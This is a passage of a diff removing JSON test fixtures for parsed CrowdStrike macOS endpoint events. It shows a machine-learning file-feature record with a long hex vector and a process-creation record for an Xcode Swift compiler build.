dfa3df2b0213b2bd5dc3cf77af63d94ee393d782d383de978d53eb404ea3e288ce73c2209ab3f7c91d13eb0d8454010e2193cfc65413c2e53653b0ede553db674d13e6ae7d53d361bb03d1c23b83c579d0a3bd3176a3c4447c33dea161e3d8a67623bd477bc3c2f4f0e3d1e6eeb3dd07c853cd4e8fb3cded2893f42de013f6d4fdf3f276c8b3ee1e4f73f036e2f3fe58adb3e361134404d8c7e3df837b53ef18fc53faa57a83e781d7e402d53263eb8e2193f62339c3e1b089a3f204189400eb9f53fe010623f9395813f6a233a3e81ff2e3f41a9fc3f3013a93e2666663e17dbf53f1b851f3ec666663e9333333ed446743f0e560440889ba64065d2f2ad9a1b883f573eab3dd7a7873edde69b3f3f3b643eed42c43f6a30554087f62b3f92d42c3e83958140435f703f90a71e40d717593e832ca53e19ce073cd0917d3f6374bc3f8a9d1f3f26e9793f088ce73e7333333df34d6a3e8710cb3f34f7663ea20c4a3e1a02753e23bcd33e843fe63f3a36e33f0573eb3ec84b5e3c6685db3cef0ae53d17acc53c0b32cf3d05681f3e0831273c2ff6d33f0a29c73b6a9e6f3b88c60d3deecbfb3baa53fc3e2d91683b6c636b3d66d9bebb8533b13c0a0d353ea91d153ee275253dcc9d9dbc159e623c1d27c43d3ad18d3d145b6c3982b47b3b88051d3d4fe9b83a12e7cfbc579d0a3af0a5f0390a9f2b3f69db233f10b780ae9e5a073cfc26573a5a6b1bbc247ed03c9d7343ba9bb6aa3d0f66a53f7d49523dd35a863c151c5c3f35b5743ef1d14e40047f243c4d9e843b24095fbb87b99d3cdd82fd3e1c28f63beeae9f3b14812c3c91a75d3c40ad043b613f4b3d033c603d195033ba9d8c6d3b307d0b3c3d12453cd234ec3b25375dba904f6e35181195bcba493d35a2674934a531f7352bda363522229033be54dc337b157336151dabbbb5f5f1340207b7345d30d93421b49d34c2b91cbba8e2e3bc4df26733a7cdeb369116e13592f7ea34116278be173eabbc11e647bbb3d4ae328448f533b7f4153046530d359e3e2233d006d8bcf2cf96bbad9ad8bc466905351da01436249e38af17834033a03ec7346522f2bd1ddc1e35d36497bd2bb44e33bf0a47390220d734c2822235531fdebb73ba773c1888f8356884d0330f9fab31d533c2bc195ee135adf23935ab6563b85b06ccbcc84b5e3510d9083490265c33e590e6bc81450f33ce498bbba593a334d1f8602f713b9cbd1930be33605e7dbca3ec033d5d249e3dc85b183dbc115e3ca858793d5c33723e83afb83cdcc63f3f4916873bab47413d1cb6853e6b9f563c49320e3f03eab33c9afe1e3e0aa64c3bdfd6953cfac1d33ee3e4263f14af4f3e2f69443df3b6463cfeda663df2b0213d9faebc3b50678c3c4250723d8c00543c0151a43d2d0e563ce4f7663d0701113fad2bd43f5075f72e0e19d33df5f6fd3b2eb80f3cf487fd3d92e72e3d7842313de944673eb50b0f3e295e9e3c1fd36f3f7d6a163eb15b57401159b43d000a7c3c2d2dcb3b0ecd8e3db4e11e3e6c3c9f3d3adc0a3d1bb0603c52dcb13bd338f83c4100e73de9e1b13d8b53503bd6ece13c2cd9e83d201cd63dd1b7173cda12303cdc725c3f48793e3f6ded293f276c8b3f036e2f3f036e2f3fea0f913e361134404d8c7e3e0189373ef837b53fabc3613e7f62b7403012063eb79a6b3f5e63203e0d4fdf3f204189400de9e23fe010623f90be0e3f6a233a3e81ff2e3f3951833f30902e3e4275253e18793e3f1b851f3ee0f9093e9333333ed446743f045a1d40889ba64065d2f2ad9d19253f573eab3dc692f73ece21963f3f3b643eee2eb23f579a6b407e76c93f92d42c3e83958140435f703f90a71e40d717593e832ca53e25aee63cb7e9103f64c2f83f8a9d1f3f27fcb93f06a7f03e676c8b3de147ae3e884b5e3f27bb303e90cb293e3295ea3e21e4f73e81205c3f3fec573f0573eb3ebec56d3c633eff3cf1800a3d1389b53c0ac1903d0587943e06dc5d3c2efb2b3f095e9e3b67ddca3b80303c3dec8b443ba782903e30068e3b6bcc6c3d619b91bb836eb53c0bf7f03ea60aa63ee00d1b3dcc447cbc28c1553c1d55e73d36e2eb3d132b56399063903b8776813d4d7f0f3a15a1bdbc55cfab3b06f04a39c25a833f68f5c33f107c85ae9e10d83cf9335d3a594a8abc2276b83c9f16b1ba66e57d3d0e0c9e3f7dbf483dd1b7173c1435ad3f34bc6a3ef096bc4003689d3c49afe23b22fcf0bb87a8d63cde939f3e1aee633bedbb5a3b14f69d3c91e6473c402f303b64217d3d06cca33d183516ba9fe8683b33d4ae3c38f9b13cced9173b288f00ba5a42d7356eda97bcb9628d356e0c6f341b95cf341f3c6534ad5b0a32a151a8337b157335b2c72cbbb2852334900adf34553ec1346e5ee5347ab7febba8e2e3bc4df26733a7cdeb35cf19143592f7ea34c9a612be173eabbc11e647bbb3d4ae35219fff33b7f4153046530d348b7aa434677fadbcf290acbbaf2d80bc46690535a6b2cc3206f2a8af17834033a03ec7338e0e59bd1e83e435857ac3bd2bb44e33043df73927249d34bb34f735906b14bb780dc33c50e560361e0a98336f92c2320a0eb4bc19b2c435adf23935ab6563b85a4586bcc56d5d3510d9083490265c3399a707bc811b1e34cde3d7bba593a334aec0612fb676c6bd13be2333605e7dbca3ec033d59be4d3dc9667b3db83cf33ca7ef9e3d5c09813e8361133cdba0a53f485f073ba023213d191bc53e69fbe73c4059213f04dd2f3c9835163e0865953be38a7e3d0385c63ee1b08a3f142c3d3e2f9db23df0068e3cff6d333df06f693d9e7ea63b68fb013c4250723d8a4d2b3c0b007a3d2e924f3cea209b3d094c443faccccd3f50ded32e0d9dfa3df41f213b2dab9f3cf95d4f3d94a4d33d7991bc3de809d53eb532613e28db8c3c1afe1e3f7cd9e83eb0ff974010f0d83cfc3b4f3c2e53653b0ede553db6c3763e6bb98c3d35f1bf3d1a95423c53d85a3bcedd483c46bce83ded5cfb3d8ac0833bd0edc43c319a413d1e30013dd07c853cdcf0303ce243573f4ded293f69c77a3f13d70a3f036e2f3f036e2f3feaa3053e361134404d8c7e3df5c28f3ef02de03faa57a83e70d845402f5dcc3eb8e2193f62339c3df0068e3f204189400de9e23fe010623f90be0e3f6a233a3e7333333f4a85883f3318fc3e4000003e063f143f1b851f3ecb5dcc3e9333333ed446743f0e560440889ba64065d2f2ad8f49d23f573eab3dbeff193ed7f62b3f3f3b643eedab9f3f57d567409780343f9292a33e8395814041158c3f90a71e40d717593e832ca53e1a511a3c74c6e73f64c2f83f832cf93f26e9793f03a92a3e6872b03df34d6a3e884b5e3f3381d83ea20c4a3e1a02753e2353f83e825aee3f4d013b3f041f213ec240b83c6a4a8c3cf3a14d3d15b5743c091e213d059c8d3e08ce703c2f78ff3f0837b53b6a7ce13b815e393ded91683ba9cdc43e2d42c43b73dc053d6147aebb8438093c0a61173ea72b023edf559b3dcaff6dbc1bd4063c21fd153d39ffd63d128e0d398d4bad3b894c443d4f18013a195aafbc5773193af57f7339ce41413f6851ec3f0fec57ae9dfa533cfa58f73a5a0d27bc21943a3ca1dfb9ba5471063d0e56043f7dd2f23dd1b7173c14b3813f33dd983ef013a9400347d83c4ca2db3b245d42bb8733663ce243573e1b22d13bf47b673b0f32383c928e0d3c4059213b6304473d05143c3d176ddbba9aed573b3220793c3c6a7f3ccc4ef93b267621ba298e0334f8d6f4bcba493d35461af9342ca85e34c11ccb352222903385f5c5368e9b3935b2c72cbbb75ea6344cfa3134553ec134b523e734c2b91cbba8e2e3bc4df26734d636243705eeb9351ad56535332082be173eabbc11ea79bbb3d4ae35a82cc133a943c13046530d34fd74ee34677fadbcf27bb3bbad8a11bc4669053496f7d53580f4d6af1848493405e546338e0e59bd23ad193400bddcbd2bb44e33bf0a473927249d34c2822235531fdebb73ba773c626d4836cf4407330f9fab31d582ecbc1a027535b8af0035d13ed5b85ad11cbcc582563573cb0735d499d3319cda2abc8548aa3474d02abba593a3351ccb0c2f713b9cbd14a4d333605e7dbca3ec033d6108c43dc9e4503dba34443ca454de3d5a511a3e84816f3cdc09813f4773193bac3a863d1945b73e6b1c433c48de2b3f03e4263c9a415f3e08b4393bd8ba413d0073583ee1cac13f13a92a3e2e48e93df318fc3d0216c63df212d73d9d7dbf3b627e0f3c44ef893d8ba1f53c03e8573d2c9afe3ce5f30e3d0846203fac710d3f50c49c2e0d4f2a3df487fd3b306c443cf837b53d96ffc13d795d4f3de8db8c3eb4bc6a3e28a71e3c1fba453f7c56d63eb07c854010c63f3cfeb0753c3170503b0e68e43db977853e6bb98c3d3c7f783d19a4163c55f99c3bd1e96c3c4669053debb98c3d8a6ca03bde43ee3c2efb2b3d2007dd3dce075f3cdbb59e3ce75793b01aa501",
-                "MLModelVersion": "4",
-                "Malicious": "0",
-                "ModelPrediction": "1436899696705536",
-                "PupAdwareConfidence": "0",
-                "PupAdwareDecisionValue": "12384657383358464",
-                "SHA256HashData": "c89caf538788e6524bf4ae93194051f3389eecbc71e4793f12a2dc0368211cc2",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-b44e-069a02b0ad6b",
-                "name": "DeliverLocalFXToCloudMacV4"
-            },
-            "device": {
-                "id": "ffffffff45d647e6ae0ba8764a4bd570"
-            },
-            "event": {
-                "action": "DeliverLocalFXToCloud",
-                "created": "2021-07-07T17:04:49.052Z",
-                "id": "ffffffff-1111-11eb-b44e-069a02b0ad6b|ffffffff45d647e6ae0ba8764a4bd570|ffffffff15754bcfb5f9152ec7ac90ac",
-                "original": "{\"FeatureVector\":\"000000527b2276223a22312e30222c226e223a352c226c223a3235362c2265223a7b2261223a5b31363737373232332c31363737373232332c31363737373232332c31363737373232332c31363737373232335d7d7d3f48793e3f6837b53f276c8b3ef8d4fe3f036e2f3fdb404f3e361134404d8c7e3df27bb33ef837b53faa57a83e752546402e6b513eb8e2193f5e63203e1446743f295e9e401fb7e93fe010623f90be0e3f6f837b3e7333333f3951833f33afb83e3f62b73e1893753f1b851f3ea752543e9333333ed446743f045a1d40889ba64065d2f2ad9a1b883f573eab3dd773193ed254613f3f3b643eedab9f3f579a6b4082b5dd3f92d42c3e8809d54040fcf83f90a71e40d717593e832ca53e19e83e3b4b295f3f64c2f83f8a9d1f3f27fcb93f088ce73e7333333de944673e81d7dc3f2db22d3e90cb293e2ca57a3e22b6ae3e843fe63f44fdf43f0573eb3ecbc6a83c648e8a3ceb1c433d16c6153c0d4fdf3d0529353e08ce703c2d81ae3f0809d53b69a2c63b7b43d93ded91683ba90cd43e2f9db23b6e28673d646499bb84406c3c0bd6623ea809d53edfb15b3dcc73acbc188d2a3c20cae63d390eaa3d148fda398cfb263b872b023d4d2b2c3a19c60fbc58ec963af9b13139f75bed3f687fcc3f105bc0ae9de3cf3cfb15b53a5dcccfbc2398203c9f40a3ba91e2153d0ec95c3f7e00d23dd048173c13b7d83f3404ea3ef06f69400392643c4dc8753b1f9485bb875d573cdebd903e1a9fbe3be83a113b1528f23c9279143c40053e3b62089e3d06ec183d16e58aba9c7ffe3b30c0273c3cbe623cc9eecc3b1e55c1ba25558f35192b55bcba493d357b1f123422c77e35700fd4349540073385f5c53562b199363180c1bbb5f5f133702cb134553ec134453f1234dfedcabba8e2e3bc4df26734da8f6636e51c133592f7ea34116278be173eabbc11ea79bbb3d4ae3574e4c733a4bbc53046530d34fd74ee330432f8bcf212d7bbaf3e47bc46690534a8a19335420670af1ab38734cdff54338e0e59bd23ad1934a8bd10bd2bb44e3433be90390220d73590265c3481ec3abb7701543b3e1eb437841ede333ede4c31d582ecbc195ee13510b6ab35ab6563b85ae696bcc582563510d9083490265c319cda2abc8327673428415ebba593a3347763df2f713b9cbd14a4d33486ea69bca3ec033d58ec963dc523f63dba7daa3cab9f563d5c67e03e8425af3cdaf8df3f47381d3bab606b3d174e663e6b1c433c4710cb3f04d0143c9691a73e0a233a3bde2ac33d0240b83ee339c13f139c0f3e2fec573df34d6a3d00e6b03df1a9fc3d9fb3fa3b6629953c4100e73d89fe873c0811b23d2d2dcb3ce5de163d0a1dfc3fac816f3f5096bc2e0d65af3df559b43b38ae323cf6555c3d93c3613d78a0903de872b03eb439583e27ef9e3c1689443f7c8b443eb06f694010ce703cff822c3c2d81ae3b0e68e43db5e2043e6b367a3d355ef23d1b089a3c5898b33bd373b03c41d29e3decbfb13d8a0e413bd9dfdb3c2dab9f3d1fddec3dcdd2f23cd10f523ce9ccb83f4b2fec3f7119ce3f276c8b3ee831273f036e2f3fe58adb3e361134404d8c7e3df972473ef837b53faab3683e7f1412402f34d73eb8e2193f62339c3e1446743f2041894013e0df3fe010623f90be0e3f6f837b3e7333333f449ba63f30a3d73e3f62b73e1893753f1b851f3ee240b83e9333333ed446743f03d07d40889ba64065d2f2ad8f49d23f4fd8ae3dd14e3c3edde69b3f3e147b3ee5bc023f579a6b409780343f92d42c3e8809d540435f703f90a71e40d717593e832ca53e19b3d03cc13fd13f6374bc3f8a9d1f3f27fcb93f1cd35b3e7333333de388663e884b5e3f29999a3e90cb293e2305533e2147ae3e843fe63f4d013b3f056d5d3ebe28243c6703b03cf084623d14a4d33c093b7e3d05a7093e087fcc3c304ab63f08c7e33b6ad0c43b8893b83dec22683ba8e2e33e2c56d63b6cd8dc3d637de9bb849cb23c08e79b3ea6dc5d3ee00d1b3dcb923abc1fd36f3c1cf56f3d385c683d134acb398c098e3b872b023d4e075f3a108bd4bc564d7f3b029cfe399cd0863f6958103f10b780ae9e16793cf601793a58523cbc231e7e3c9eecc0ba8398a63d0fba883f7d63883dd254613c14c4483f349ba63ef0b0f24003aa263c49afe23b23d70abb875d573cde3fbc3e1a9fbe3bebcc6c3b19d0203c92641b3c402f303b62d1f23d0366513d1797ccba9f40a33b32c83f3c39a1773ccfe9b83b2276b8ba786f1235192b55bcb890d63573a8ab34a531f734c11ccb3495400732a151a8369df96936179953bbbc1f00340207b734553ec134b523e7352bd356bba8e2e3bc4df26733a7cdeb36e51c1335421b0e3515c299be173eabbc11e647bbb3d4ae328448f533aa5c213046530d357f25dd330432f8bcf290acbbae9ee4bc4669053496f7d534ede333af1ab38733a03ec7346522f2bd23ad19353fd9cfbd2bb44e3392336039250bbe34bb34f73618f0ecbb7701543c50e560356884d0330f9fab31d582ecbc19f5e03510b6ab34e35d66b85ac660bcc582563510d9083490265c3399a707bc84a0e43474d02abba593a3342f209630b98ae7bd11fb4033605e7dbc9e59f33d5f11733dc922533db943183ca5a46a3d5b42463e83bcd33cdd2f1b3f47fcb93bae3a3b3d1ceaf23e6978d53c4836653f03a29c3c9afe1e3e096bba3bde76423cfd4bf13ee1e4f73f1418933e2ee6323df1a9fc3cfe1da83df0d8453d9e7ea63b69f6a93c4083123d8a7c5b3c0266773d2e147b3ce978d53d08ce703facf41f3f510cb32e0d9dfa3df2b0213b2bd5dc3cf77af63d94ee393d782d383de978d53eb404ea3e288ce73c2209ab3f7c91d13eb0d8454010e2193cfc65413c2e53653b0ede553db674d13e6ae7d53d361bb03d1c23b83c579d0a3bd3176a3c4447c33dea161e3d8a67623bd477bc3c2f4f0e3d1e6eeb3dd07c853cd4e8fb3cded2893f42de013f6d4fdf3f276c8b3ee1e4f73f036e2f3fe58adb3e361134404d8c7e3df837b53ef18fc53faa57a83e781d7e402d53263eb8e2193f62339c3e1b089a3f204189400eb9f53fe010623f9395813f6a233a3e81ff2e3f41a9fc3f3013a93e2666663e17dbf53f1b851f3ec666663e9333333ed446743f0e560440889ba64065d2f2ad9a1b883f573eab3dd7a7873edde69b3f3f3b643eed42c43f6a30554087f62b3f92d42c3e83958140435f703f90a71e40d717593e832ca53e19ce073cd0917d3f6374bc3f8a9d1f3f26e9793f088ce73e7333333df34d6a3e8710cb3f34f7663ea20c4a3e1a02753e23bcd33e843fe63f3a36e33f0573eb3ec84b5e3c6685db3cef0ae53d17acc53c0b32cf3d05681f3e0831273c2ff6d33f0a29c73b6a9e6f3b88c60d3deecbfb3baa53fc3e2d91683b6c636b3d66d9bebb8533b13c0a0d353ea91d153ee275253dcc9d9dbc159e623c1d27c43d3ad18d3d145b6c3982b47b3b88051d3d4fe9b83a12e7cfbc579d0a3af0a5f0390a9f2b3f69db233f10b780ae9e5a073cfc26573a5a6b1bbc247ed03c9d7343ba9bb6aa3d0f66a53f7d49523dd35a863c151c5c3f35b5743ef1d14e40047f243c4d9e843b24095fbb87b99d3cdd82fd3e1c28f63beeae9f3b14812c3c91a75d3c40ad043b613f4b3d033c603d195033ba9d8c6d3b307d0b3c3d12453cd234ec3b25375dba904f6e35181195bcba493d35a2674934a531f7352bda363522229033be54dc337b157336151dabbbb5f5f1340207b7345d30d93421b49d34c2b91cbba8e2e3bc4df26733a7cdeb369116e13592f7ea34116278be173eabbc11e647bbb3d4ae328448f533b7f4153046530d359e3e2233d006d8bcf2cf96bbad9ad8bc466905351da01436249e38af17834033a03ec7346522f2bd1ddc1e35d36497bd2bb44e33bf0a47390220d734c2822235531fdebb73ba773c1888f8356884d0330f9fab31d533c2bc195ee135adf23935ab6563b85b06ccbcc84b5e3510d9083490265c33e590e6bc81450f33ce498bbba593a334d1f8602f713b9cbd1930be33605e7dbca3ec033d5d249e3dc85b183dbc115e3ca858793d5c33723e83afb83cdcc63f3f4916873bab47413d1cb6853e6b9f563c49320e3f03eab33c9afe1e3e0aa64c3bdfd6953cfac1d33ee3e4263f14af4f3e2f69443df3b6463cfeda663df2b0213d9faebc3b50678c3c4250723d8c00543c0151a43d2d0e563ce4f7663d0701113fad2bd43f5075f72e0e19d33df5f6fd3b2eb80f3cf487fd3d92e72e3d7842313de944673eb50b0f3e295e9e3c1fd36f3f7d6a163eb15b57401159b43d000a7c3c2d2dcb3b0ecd8e3db4e11e3e6c3c9f3d3adc0a3d1bb0603c52dcb13bd338f83c4100e73de9e1b13d8b53503bd6ece13c2cd9e83d201cd63dd1b7173cda12303cdc725c3f48793e3f6ded293f276c8b3f036e2f3f036e2f3fea0f913e361134404d8c7e3e0189373ef837b53fabc3613e7f62b7403012063eb79a6b3f5e63203e0d4fdf3f204189400de9e23fe010623f90be0e3f6a233a3e81ff2e3f3951833f30902e3e4275253e18793e3f1b851f3ee0f9093e9333333ed446743f045a1d40889ba64065d2f2ad9d19253f573eab3dc692f73ece21963f3f3b643eee2eb23f579a6b407e76c93f92d42c3e83958140435f703f90a71e40d717593e832ca53e25aee63cb7e9103f64c2f83f8a9d1f3f27fcb93f06a7f03e676c8b3de147ae3e884b5e3f27bb303e90cb293e3295ea3e21e4f73e81205c3f3fec573f0573eb3ebec56d3c633eff3cf1800a3d1389b53c0ac1903d0587943e06dc5d3c2efb2b3f095e9e3b67ddca3b80303c3dec8b443ba782903e30068e3b6bcc6c3d619b91bb836eb53c0bf7f03ea60aa63ee00d1b3dcc447cbc28c1553c1d55e73d36e2eb3d132b56399063903b8776813d4d7f0f3a15a1bdbc55cfab3b06f04a39c25a833f68f5c33f107c85ae9e10d83cf9335d3a594a8abc2276b83c9f16b1ba66e57d3d0e0c9e3f7dbf483dd1b7173c1435ad3f34bc6a3ef096bc4003689d3c49afe23b22fcf0bb87a8d63cde939f3e1aee633bedbb5a3b14f69d3c91e6473c402f303b64217d3d06cca33d183516ba9fe8683b33d4ae3c38f9b13cced9173b288f00ba5a42d7356eda97bcb9628d356e0c6f341b95cf341f3c6534ad5b0a32a151a8337b157335b2c72cbbb2852334900adf34553ec1346e5ee5347ab7febba8e2e3bc4df26733a7cdeb35cf19143592f7ea34c9a612be173eabbc11e647bbb3d4ae35219fff33b7f4153046530d348b7aa434677fadbcf290acbbaf2d80bc46690535a6b2cc3206f2a8af17834033a03ec7338e0e59bd1e83e435857ac3bd2bb44e33043df73927249d34bb34f735906b14bb780dc33c50e560361e0a98336f92c2320a0eb4bc19b2c435adf23935ab6563b85a4586bcc56d5d3510d9083490265c3399a707bc811b1e34cde3d7bba593a334aec0612fb676c6bd13be2333605e7dbca3ec033d59be4d3dc9667b3db83cf33ca7ef9e3d5c09813e8361133cdba0a53f485f073ba023213d191bc53e69fbe73c4059213f04dd2f3c9835163e0865953be38a7e3d0385c63ee1b08a3f142c3d3e2f9db23df0068e3cff6d333df06f693d9e7ea63b68fb013c4250723d8a4d2b3c0b007a3d2e924f3cea209b3d094c443faccccd3f50ded32e0d9dfa3df41f213b2dab9f3cf95d4f3d94a4d33d7991bc3de809d53eb532613e28db8c3c1afe1e3f7cd9e83eb0ff974010f0d83cfc3b4f3c2e53653b0ede553db6c3763e6bb98c3d35f1bf3d1a95423c53d85a3bcedd483c46bce83ded5cfb3d8ac0833bd0edc43c319a413d1e30013dd07c853cdcf0303ce243573f4ded293f69c77a3f13d70a3f036e2f3f036e2f3feaa3053e361134404d8c7e3df5c28f3ef02de03faa57a83e70d845402f5dcc3eb8e2193f62339c3df0068e3f204189400de9e23fe010623f90be0e3f6a233a3e7333333f4a85883f3318fc3e4000003e063f143f1b851f3ecb5dcc3e9333333ed446743f0e560440889ba64065d2f2ad8f49d23f573eab3dbeff193ed7f62b3f3f3b643eedab9f3f57d567409780343f9292a33e8395814041158c3f90a71e40d717593e832ca53e1a511a3c74c6e73f64c2f83f832cf93f26e9793f03a92a3e6872b03df34d6a3e884b5e3f3381d83ea20c4a3e1a02753e2353f83e825aee3f4d013b3f041f213ec240b83c6a4a8c3cf3a14d3d15b5743c091e213d059c8d3e08ce703c2f78ff3f0837b53b6a7ce13b815e393ded91683ba9cdc43e2d42c43b73dc053d6147aebb8438093c0a61173ea72b023edf559b3dcaff6dbc1bd4063c21fd153d39ffd63d128e0d398d4bad3b894c443d4f18013a195aafbc5773193af57f7339ce41413f6851ec3f0fec57ae9dfa533cfa58f73a5a0d27bc21943a3ca1dfb9ba5471063d0e56043f7dd2f23dd1b7173c14b3813f33dd983ef013a9400347d83c4ca2db3b245d42bb8733663ce243573e1b22d13bf47b673b0f32383c928e0d3c4059213b6304473d05143c3d176ddbba9aed573b3220793c3c6a7f3ccc4ef93b267621ba298e0334f8d6f4bcba493d35461af9342ca85e34c11ccb352222903385f5c5368e9b3935b2c72cbbb75ea6344cfa3134553ec134b523e734c2b91cbba8e2e3bc4df26734d636243705eeb9351ad56535332082be173eabbc11ea79bbb3d4ae35a82cc133a943c13046530d34fd74ee34677fadbcf27bb3bbad8a11bc4669053496f7d53580f4d6af1848493405e546338e0e59bd23ad193400bddcbd2bb44e33bf0a473927249d34c2822235531fdebb73ba773c626d4836cf4407330f9fab31d582ecbc1a027535b8af0035d13ed5b85ad11cbcc582563573cb0735d499d3319cda2abc8548aa3474d02abba593a3351ccb0c2f713b9cbd14a4d333605e7dbca3ec033d6108c43dc9e4503dba34443ca454de3d5a511a3e84816f3cdc09813f4773193bac3a863d1945b73e6b1c433c48de2b3f03e4263c9a415f3e08b4393bd8ba413d0073583ee1cac13f13a92a3e2e48e93df318fc3d0216c63df212d73d9d7dbf3b627e0f3c44ef893d8ba1f53c03e8573d2c9afe3ce5f30e3d0846203fac710d3f50c49c2e0d4f2a3df487fd3b306c443cf837b53d96ffc13d795d4f3de8db8c3eb4bc6a3e28a71e3c1fba453f7c56d63eb07c854010c63f3cfeb0753c3170503b0e68e43db977853e6bb98c3d3c7f783d19a4163c55f99c3bd1e96c3c4669053debb98c3d8a6ca03bde43ee3c2efb2b3d2007dd3dce075f3cdbb59e3ce75793b01aa501\",\"event_simpleName\":\"DeliverLocalFXToCloud\",\"ConfigStateHash\":\"1620585913\",\"aip\":\"67.43.156.14\",\"ModelPrediction\":\"1436899696705536\",\"SHA256HashData\":\"c89caf538788e6524bf4ae93194051f3389eecbc71e4793f12a2dc0368211cc2\",\"Malicious\":\"0\",\"ConfigBuild\":\"1007.4.0013701.1\",\"FeatureExtractionVersion\":\"2\",\"event_platform\":\"Mac\",\"FXFileSize\":\"502032\",\"Entitlements\":\"15\",\"name\":\"DeliverLocalFXToCloudMacV4\",\"PupAdwareDecisionValue\":\"12384657383358464\",\"id\":\"ffffffff-1111-11eb-b44e-069a02b0ad6b\",\"PupAdwareConfidence\":\"0\",\"EffectiveTransmissionClass\":\"1\",\"aid\":\"ffffffff45d647e6ae0ba8764a4bd570\",\"MLModelVersion\":\"4\",\"timestamp\":\"1625677489052\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}"
-            },
-            "host": {
-                "id": "ffffffff45d647e6ae0ba8764a4bd570",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "DeliverLocalFXToCloud",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff45d647e6ae0ba8764a4bd570",
-                "version": "1007.4.0013701.1"
-            },
-            "related": {
-                "hash": [
-                    "c89caf538788e6524bf4ae93194051f3389eecbc71e4793f12a2dc0368211cc2",
-                    "1620585913"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:25.128Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3090255842",
-                "ContextProcessId": "365035560818271291",
-                "ContextTimeStamp": "2021-07-07T17:05:24.929Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-8332-020506b18db5",
-                "name": "CreateProcessArgsMac"
-            },
-            "device": {
-                "id": "ffffffffb3a3442585c05abc61e290fc"
-            },
-            "event": {
-                "action": "CreateProcessArgs",
-                "category": [
-                    "process"
-                ],
-                "created": "2021-07-07T17:05:25.128Z",
-                "id": "ffffffff-1111-11eb-8332-020506b18db5|ffffffffb3a3442585c05abc61e290fc|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "state",
-                "original": "{\"event_simpleName\":\"CreateProcessArgs\",\"ContextTimeStamp\":\"1625677524.929\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"365035560818271291\",\"ContextThreadId\":\"365035560818271291\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"CommandLine\":\"t.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/CategorySurfaceViewController.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationActionView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationAddressView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationErrorView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationHeaderView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationLoadingView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationPostalCodeView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationViewController.o -index-store-path /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Index/DataStore -index-system-modules\",\"Entitlements\":\"15\",\"name\":\"CreateProcessArgsMac\",\"id\":\"ffffffff-1111-11eb-8332-020506b18db5\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffb3a3442585c05abc61e290fc\",\"timestamp\":\"1625677525128\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/swift-frontend\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "file": {
-                "directory": "/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin",
-                "name": "swift-frontend",
-                "path": "/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/swift-frontend",
-                "type": "file"
-            },
-            "host": {
-                "id": "ffffffffb3a3442585c05abc61e290fc",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "CreateProcessArgs",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffffb3a3442585c05abc61e290fc",
-                "version": "1007.4.0013701.1"
-            },
-            "process": {
-                "args": [
-                    "t.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/CategorySurfaceViewController.o",
-                    "-o",
